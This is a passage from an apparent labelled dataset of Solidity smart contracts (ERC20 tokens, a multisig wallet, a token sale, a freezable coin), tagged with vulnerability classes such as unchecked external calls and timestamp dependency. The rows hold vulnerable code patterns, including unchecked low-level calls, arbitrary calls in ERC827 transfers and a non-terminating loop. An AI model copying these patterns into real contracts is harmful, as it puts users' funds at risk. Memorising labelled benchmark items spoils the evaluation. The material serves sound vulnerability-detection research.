function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 100000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 100000000000; // Update total supply (100000 for example) name = ""Ethereum Premium""; // Set the name for display purposes decimals = 4; // Amount of decimals for display purposes symbol = ""ETHPR""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 44533.sol,"pragma solidity 0.4.18; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i contract MultiSigWalletWithDailyLimit is MultiSigWallet { event DailyLimitChange(uint dailyLimit); uint public dailyLimit; uint public lastDay; uint public spentToday; /* * Public functions */ /// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. /// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis. function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit) public MultiSigWallet(_owners, _required) { dailyLimit = _dailyLimit; } /// @dev Allows to change the daily limit. Transaction has to be sent by wallet. /// @param _dailyLimit Amount in wei. function changeDailyLimit(uint _dailyLimit) public onlyWallet { dailyLimit = _dailyLimit; DailyLimitChange(_dailyLimit); } /// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { Transaction tx = transactions[transactionId]; bool confirmed = isConfirmed(transactionId); if (confirmed || tx.data.length == 0 && isUnderLimit(tx.value)) { tx.executed = true; if (!confirmed) spentToday += tx.value; if (tx.destination.call.value(tx.value)(tx.data)) Execution(transactionId); else { ExecutionFailure(transactionId); tx.executed = false; if (!confirmed) spentToday -= tx.value; } } } /* * Internal functions */ /// @dev Returns if amount is within daily limit and resets spentToday after one day. /// @param amount Amount to withdraw. /// @return Returns if amount is under daily limit. function isUnderLimit(uint amount) internal returns (bool) { if (now > lastDay + 24 hours) { lastDay = now; spentToday = 0; } if (spentToday + amount > dailyLimit || spentToday + amount < spentToday) return false; return true; } /* * Web3 call functions */ /// @dev Returns maximum withdraw amount. /// @return Returns amount. function calcMaxWithdraw() public constant returns (uint) { if (now > lastDay + 24 hours) return dailyLimit; if (dailyLimit < spentToday) return 0; return dailyLimit - spentToday; } }",./Dataset/unchecked external call (UC),7,7 1671.sol," pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract EthertoteToken { function thisContractAddress() public pure returns (address) {} function balanceOf(address) public pure returns (uint256) {} function transfer(address, uint) public {} } contract TokenSale { using SafeMath for uint256; EthertoteToken public token; address public admin; address public thisContractAddress; address public tokenContractAddress = 0x42be9831FFF77972c1D0E1eC0aA9bdb3CaA04D47; address public tokenBurnAddress = 0xadCa18DC9489C5FE5BdDf1A8a8C2623B66029198; address public ethRaisedAddress = 0x9F73D808807c71Af185FEA0c1cE205002c74123C; uint public preIcoPhaseCountdown; uint public icoPhaseCountdown; uint public postIcoPhaseCountdown; bool public tokenSaleIsPaused; uint public tokenSalePausedTime; uint public tokenSaleResumedTime; uint public tokenSalePausedDuration; uint256 public weiRaised; uint public maxEthRaised = 9000; uint public maxWeiRaised = maxEthRaised.mul(1000000000000000000); uint public openingTime = 1535990400; uint public closingTime = openingTime.add(7 days); uint public rate = 1000000000000000; uint public minSpend = 100000000000000000; uint public maxSpend = 100000000000000000000; modifier onlyAdmin { require(msg.sender == admin ); _; } event Deployed(string, uint); event SalePaused(string, uint); event SaleResumed(string, uint); event TokensBurned(string, uint); constructor() public { admin = msg.sender; thisContractAddress = address(this); token = EthertoteToken(tokenContractAddress); require(ethRaisedAddress != address(0)); require(tokenContractAddress != address(0)); require(tokenBurnAddress != address(0)); preIcoPhaseCountdown = openingTime; icoPhaseCountdown = closingTime; postIcoPhaseCountdown = closingTime.add(14 days); emit Deployed(""Ethertote Token Sale contract deployed"", now); } function tokenSaleTokenBalance() public view returns(uint) { return token.balanceOf(thisContractAddress); } function getAnyAddressTokenBalance(address _address) public view returns(uint) { return token.balanceOf(_address); } function tokenSaleHasFinished() public view returns (bool) { return now > closingTime; } function burnUnsoldTokens() public { require(tokenSaleIsPaused == false); require(tokenSaleHasFinished() == true); token.transfer(tokenBurnAddress, tokenSaleTokenBalance()); emit TokensBurned(""tokens sent to TokenBurn contract"", now); } function pauseTokenSale() onlyAdmin public { require(tokenSaleHasFinished() == false); require(tokenSaleIsPaused == false); tokenSaleIsPaused = true; tokenSalePausedTime = now; emit SalePaused(""token sale has been paused"", now); } function resumeTokenSale() onlyAdmin public { require(tokenSaleIsPaused == true); tokenSaleResumedTime = now; tokenSalePausedDuration = tokenSaleResumedTime.sub(tokenSalePausedTime); closingTime = closingTime.add(tokenSalePausedDuration); postIcoPhaseCountdown = closingTime.add(14 days); tokenSaleIsPaused = false; emit SaleResumed(""token sale has now resumed"", now); } event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); function () external payable { buyTokens(msg.sender); } function buyTokens(address buyer) public payable { require(openingTime <= block.timestamp); require(block.timestamp < closingTime); require(msg.value >= minSpend); require(msg.value <= maxSpend); require(tokenSaleTokenBalance() > 0); require(tokenSaleIsPaused == false); uint256 weiAmount = msg.value; preValidatePurchase(buyer, weiAmount); uint256 tokens = getTokenAmount(weiAmount); require(tokens <= tokenSaleTokenBalance()); weiRaised = weiRaised.add(weiAmount); processPurchase(buyer, tokens); emit TokenPurchase( msg.sender, buyer, weiAmount, tokens ); updatePurchasingState(buyer, weiAmount); forwardFunds(); postValidatePurchase(buyer, weiAmount); } function preValidatePurchase( address buyer, uint256 weiAmount ) internal pure { require(buyer != address(0)); require(weiAmount != 0); } function postValidatePurchase( address, uint256 ) internal pure { } function deliverTokens( address buyer, uint256 tokenAmount ) internal { token.transfer(buyer, tokenAmount); } function processPurchase( address buyer, uint256 tokenAmount ) internal { deliverTokens(buyer, tokenAmount); } function updatePurchasingState( address, uint256 ) internal pure { } function getTokenAmount(uint256 weiAmount) internal view returns (uint256) { return weiAmount.div(rate); } function forwardFunds() internal { ethRaisedAddress.transfer(msg.value); } function maximumRaised() public view returns(uint) { return maxWeiRaised; } function amountRaised() public view returns(uint) { return weiRaised; } function timeComplete() public view returns(uint) { return closingTime; } function delayOpeningTime(uint256 _openingTime) onlyAdmin public { openingTime = _openingTime; closingTime = openingTime.add(7 days); preIcoPhaseCountdown = openingTime; icoPhaseCountdown = closingTime; postIcoPhaseCountdown = closingTime.add(14 days); } }",./Dataset/timestamp dependency (TP)/,6,6 6369.sol,"pragma solidity 0.4.23; contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) public view returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } } contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } contract DSStop is DSNote, DSAuth { bool public stopped; modifier stoppable { require(!stopped); _; } function stop() public auth note { stopped = true; } function start() public auth note { stopped = false; } } contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x); } } contract ERC20 { function totalSupply() constant public returns (uint256 supply); function balanceOf(address _owner) constant public returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) constant public returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Coin is ERC20, DSStop { string public name; string public symbol; uint8 public decimals = 18; uint256 internal c_totalSupply; mapping(address => uint256) internal c_balances; mapping(address => mapping(address => uint256)) internal c_approvals; function init(uint256 token_supply, string token_name, string token_symbol) internal { c_balances[msg.sender] = token_supply; c_totalSupply = token_supply; name = token_name; symbol = token_symbol; } function() public { assert(false); } function setName(string _name) auth public { name = _name; } function totalSupply() constant public returns (uint256) { return c_totalSupply; } function balanceOf(address _owner) constant public returns (uint256) { return c_balances[_owner]; } function approve(address _spender, uint256 _value) public stoppable returns (bool) { require(msg.data.length >= (2 * 32) + 4); require(_value == 0 || c_approvals[msg.sender][_spender] == 0); require(_value < c_totalSupply); c_approvals[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return c_approvals[_owner][_spender]; } } contract FreezerAuthority is DSAuthority { address[] internal c_freezers; bytes4 constant setFreezingSig = bytes4(0x51c3b8a6); bytes4 constant transferAndFreezingSig = bytes4(0xb8a1fdb6); function canCall(address caller, address, bytes4 sig) public view returns (bool) { if (isFreezer(caller) && (sig == setFreezingSig || sig == transferAndFreezingSig)) { return true; } else { return false; } } function addFreezer(address freezer) public { int i = indexOf(c_freezers, freezer); if (i < 0) { c_freezers.push(freezer); } } function removeFreezer(address freezer) public { int index = indexOf(c_freezers, freezer); if (index >= 0) { uint i = uint(index); while (i < c_freezers.length - 1) { c_freezers[i] = c_freezers[i + 1]; } c_freezers.length--; } } function indexOf(address[] values, address value) internal pure returns (int) { uint i = 0; while (i < values.length) { if (values[i] == value) { return int(i); } i++; } return int(- 1); } function isFreezer(address addr) public constant returns (bool) { return indexOf(c_freezers, addr) >= 0; } } contract LemoCoin is Coin, DSMath { struct FreezingNode { uint end_stamp; uint num_lemos; uint8 freezing_type; } mapping(address => FreezingNode[]) internal c_freezing_list; constructor(uint256 token_supply, string token_name, string token_symbol) public { init(token_supply, token_name, token_symbol); setAuthority(new FreezerAuthority()); } function addFreezer(address freezer) auth public { FreezerAuthority(authority).addFreezer(freezer); } function removeFreezer(address freezer) auth public { FreezerAuthority(authority).removeFreezer(freezer); } event ClearExpiredFreezingEvent(address indexed addr); event SetFreezingEvent(address indexed addr, uint end_stamp, uint num_lemos, uint8 indexed freezing_type); function clearExpiredFreezing(address addr) public { FreezingNode[] storage nodes = c_freezing_list[addr]; uint length = nodes.length; uint left = 0; while (left < length) { if (nodes[left].end_stamp <= block.timestamp) { break; } left++; } uint right = left + 1; while (left < length && right < length) { if (nodes[right].end_stamp > block.timestamp) { nodes[left] = nodes[right]; left++; } right++; } if (length != left) { nodes.length = left; emit ClearExpiredFreezingEvent(addr); } } function validBalanceOf(address addr) constant public returns (uint) { FreezingNode[] memory nodes = c_freezing_list[addr]; uint length = nodes.length; uint total_lemos = balanceOf(addr); for (uint i = 0; i < length; ++i) { if (nodes[i].end_stamp > block.timestamp) { total_lemos = sub(total_lemos, nodes[i].num_lemos); } } return total_lemos; } function freezingBalanceNumberOf(address addr) constant public returns (uint) { return c_freezing_list[addr].length; } function freezingBalanceInfoOf(address addr, uint index) constant public returns (uint, uint, uint8) { return (c_freezing_list[addr][index].end_stamp, c_freezing_list[addr][index].num_lemos, uint8(c_freezing_list[addr][index].freezing_type)); } function setFreezing(address addr, uint end_stamp, uint num_lemos, uint8 freezing_type) auth stoppable public { require(block.timestamp < end_stamp); require(num_lemos < c_totalSupply); clearExpiredFreezing(addr); uint valid_balance = validBalanceOf(addr); require(valid_balance >= num_lemos); FreezingNode memory node = FreezingNode(end_stamp, num_lemos, freezing_type); c_freezing_list[addr].push(node); emit SetFreezingEvent(addr, end_stamp, num_lemos, freezing_type); } function transferAndFreezing(address _to, uint256 _value, uint256 freeze_amount, uint end_stamp, uint8 freezing_type) auth stoppable public returns (bool) { require(_value < c_totalSupply); require(freeze_amount <= _value); transfer(_to, _value); setFreezing(_to, end_stamp, freeze_amount, freezing_type); return true; } function transfer(address _to, uint256 _value) stoppable public returns (bool) { require(msg.data.length >= (2 * 32) + 4); require(_value < c_totalSupply); clearExpiredFreezing(msg.sender); uint from_lemos = validBalanceOf(msg.sender); require(from_lemos >= _value); c_balances[msg.sender] = sub(c_balances[msg.sender], _value); c_balances[_to] = add(c_balances[_to], _value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) stoppable public returns (bool) { require(_value < c_totalSupply); require(c_approvals[_from][msg.sender] >= _value); clearExpiredFreezing(_from); uint from_lemos = validBalanceOf(_from); require(from_lemos >= _value); c_approvals[_from][msg.sender] = sub(c_approvals[_from][msg.sender], _value); c_balances[_from] = sub(c_balances[_from], _value); c_balances[_to] = add(c_balances[_to], _value); emit Transfer(_from, _to, _value); return true; } }",./Dataset/timestamp dependency (TP)/,6,6 20198.sol,"pragma solidity ^0.4.18; // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/ownership/CanReclaimToken.sol /** * @title Contracts that should be able to recover tokens * @author SylTi * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. * This will prevent any accidental loss of tokens. */ contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; /** * @dev Reclaim all ERC20Basic compatible tokens * @param token ERC20Basic The address of the token contract */ function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } // File: zeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } // File: zeppelin-solidity/contracts/token/ERC20/PausableToken.sol /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } // File: zeppelin-solidity/contracts/token/ERC827/ERC827.sol /** @title ERC827 interface, an extension of ERC20 token standard Interface of a ERC827 token, following the ERC20 standard with extra methods to transfer value and data and execute calls in transfers and approvals. */ contract ERC827 is ERC20 { function approve( address _spender, uint256 _value, bytes _data ) public returns (bool); function transfer( address _to, uint256 _value, bytes _data ) public returns (bool); function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool); } // File: zeppelin-solidity/contracts/token/ERC827/ERC827Token.sol /** @title ERC827, an extension of ERC20 token standard Implementation the ERC827, following the ERC20 standard with extra methods to transfer value and data and execute calls in transfers and approvals. Uses OpenZeppelin StandardToken. */ contract ERC827Token is ERC827, StandardToken { /** @dev Addition to ERC20 token methods. It allows to approve the transfer of value and execute a call with the sent data. Beware that changing an allowance with this method brings the risk that someone may use both the old and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 @param _spender The address that will spend the funds. @param _value The amount of tokens to be spent. @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function approve(address _spender, uint256 _value, bytes _data) public returns (bool) { require(_spender != address(this)); super.approve(_spender, _value); require(_spender.call(_data)); return true; } /** @dev Addition to ERC20 token methods. Transfer tokens to a specified address and execute a call with the sent data on the same transaction @param _to address The address which you want to transfer to @param _value uint256 the amout of tokens to be transfered @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function transfer(address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); super.transfer(_to, _value); require(_to.call(_data)); return true; } /** @dev Addition to ERC20 token methods. Transfer tokens from one address to another and make a contract call on the same transaction @param _from The address which you want to send tokens from @param _to The address which you want to transfer to @param _value The amout of tokens to be transferred @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function 